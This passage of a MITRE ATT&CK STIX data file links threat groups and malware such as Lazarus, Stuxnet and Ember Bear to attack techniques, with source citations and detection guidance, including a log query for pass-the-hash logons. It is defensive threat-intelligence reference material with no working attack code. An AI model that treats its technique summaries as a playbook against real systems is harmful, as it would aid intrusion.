of Lazarus June 2018", "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.", "url": "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:51:40.272Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has limited its watering hole attacks to specific IP address ranges.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Remsec IOCs", "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"}, {"source_name": "Kaspersky ProjectSauron Full Report", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}], "modified": "2020-03-11T17:45:33.721Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ee9fd95-d2c8-4d34-87d2-bf1f5ef54061", "created": "2022-06-02T13:22:13.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Bitter Bangladesh May 2022", "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:29:33.057Z", "description": "[ZxxZ](https://attack.mitre.org/software/S1013) has been encoded to avoid detection from static analysis tools.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "relationship_type": "uses", "source_ref": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa", "created": "2017-05-31T21:33:27.066Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster Loaders", "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}, {"source_name": "McAfee Lazarus Resurfaces Feb 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."}, {"source_name": "McAfee GhostSecret", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: Lazarus APT January 2022)", "modified": "2022-07-28T18:55:36.005Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4ef40df7-c32f-41a7-94d8-1c06e8e6b21f", "created": "2022-06-09T15:52:30.382Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has executed a batch script designed to disable Windows Defender on a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:52:30.382Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ef9490e-e347-4f4e-aa6f-c082e02349fc", "type": "relationship", "created": "2020-11-06T18:40:38.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}, {"source_name": "Volexity OceanLotus Nov 2017", "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}, {"description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}, {"source_name": "Volexity Ocean Lotus November 2020", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}, {"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}, {"source_name": "Unit 42 KerrDown February 2019", "url": "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", "description": "Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus\u2019 new Downloader, KerrDown. Retrieved October 1, 2021."}], "modified": "2021-10-01T17:41:39.276Z", "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used malicious documents containing exploits for CVE-2021-40444 affecting Microsoft MSHTML.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-18T15:40:12.487Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f223b45-a599-4f97-9932-edfdc4425fde", "type": "relationship", "created": "2021-08-18T18:22:07.905Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}, {"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-08-31T15:25:14.260Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has established domains that impersonate legitimate entities to use for targeting efforts. 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Retrieved May 12, 2020."}], "modified": "2020-05-15T18:52:17.533Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used stolen credentials to copy tools into the <code>%TEMP%</code> directory of domain controllers.(Citation: CrowdStrike Grim Spider May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f2450a7-d2d2-4063-9dd5-cac396a3215c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", "description": "ESET, et al. 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Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-11T20:04:21.963Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used DNS to tunnel IPv4 C2 traffic.(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f290a4e-983c-460f-b00c-e1bc8dd4d413", "type": "relationship", "created": "2019-01-29T19:09:26.713Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", "source_name": "PaloAlto UBoatRAT Nov 2017"}], "modified": "2019-09-23T13:27:28.894Z", "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) takes advantage of the /SetNotifyCmdLine option in [BITSAdmin](https://attack.mitre.org/software/S0190) to ensure it stays running on a system to maintain persistence.(Citation: PaloAlto UBoatRAT Nov 2017)", "relationship_type": "uses", "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f2bd19b-f0f4-4946-a7a5-4947be3346b1", "created": "2020-12-14T17:34:58.821Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:00:59.969Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f2e62d0-5345-45dc-9e9d-46bb11c5f35d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "description": "Ahl, I. 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Retrieved September 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}], "modified": "2020-03-17T02:46:42.618Z", "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f31a0e5-3a3f-43b0-85d6-f9bcb6fe141a", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor executed command and arguments that may exfiltrate data to a code repository rather than over their primary command and control channel.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f32ce54-46cf-4141-9700-9978056951db", "type": "relationship", "created": "2020-08-05T19:18:46.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. 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The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}, {"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}, {"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}, {"source_name": "Secureworks IRON TILDEN Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden", "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}], "modified": "2022-02-24T21:00:56.053Z", "description": "(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatGeek Derusbi Converge", "description": "Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.", "url": "https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge"}], "modified": "2020-03-16T15:39:47.843Z", "description": "[Derusbi](https://attack.mitre.org/software/S0021) variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.(Citation: ThreatGeek Derusbi Converge)", "relationship_type": "uses", "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f351992-297b-45b0-b931-7b19875cd0ec", "type": "relationship", "created": "2021-09-07T15:24:47.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:10.027Z", "description": "[Peppy](https://attack.mitre.org/software/S0643) has the ability to execute shell commands.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--6c2550d5-a01a-4bbb-a004-6ead348ba623", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4f3ad71b-bcf4-4673-a7ae-f861066110d8", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor executed commands and arguments that may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4f3efbf7-46f8-4e93-97cd-c5a497457e0f", "created": "2022-06-09T15:38:13.167Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has used PowerShell to download and execute malicious code.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:38:13.167Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f41a697-db81-4df8-8b46-a59d294112fa", "created": "2023-03-31T17:37:21.531Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T19:50:30.910Z", "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) added a login to a SQL Server with `sp_addlinkedsrvlogin`.(Citation: Dragos Crashoverride 2018)", "relationship_type": "uses", "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234", "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f473df1-98ef-4cca-8669-70b7e70a8640", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:37:57.648Z", "description": "Monitor newly created logons and credentials used in events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nNote: Analytic Event ID is for Windows Security Log (Event ID 4624 - An account was successfully logged on). The successful use of Pass the Hash for lateral movement between workstations would trigger Event ID 4624, with an event level of Information, from the Windows Security log. This event would show an account logon with a LogonType of 3 using NTLM authentication, a logon that is not a domain logon, and the user account not being the ANONYMOUS LOGON account.\n\nAnalytic 1 - Successful Local Account Login\n\n<code>(source=\"*WinEventLog:Security\" EventCode=\"4624\") TargetUser= \"ANONYMOUS LOGON\" AND AuthenticationPackageName=\"NTLM\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4f4a052a-7e53-451f-8976-7c6f1623102d", "created": "2022-08-02T15:47:30.411Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CISA AR18-352A Quasar RAT December 2018", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A", "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can determine the country a victim host is located in.(Citation: CISA AR18-352A Quasar RAT December 2018)", "modified": "2022-08-02T15:47:30.411Z", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4f54b318-43d1-4ae3-b6e5-912d2408dc0c", "created": "2022-06-27T15:59:06.344Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CrowdStrike IceApple May 2022", "description": "CrowdStrike. (2022, May). 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(2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can use junk code to generate random activity to obscure malware behavior.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T17:32:31.679Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 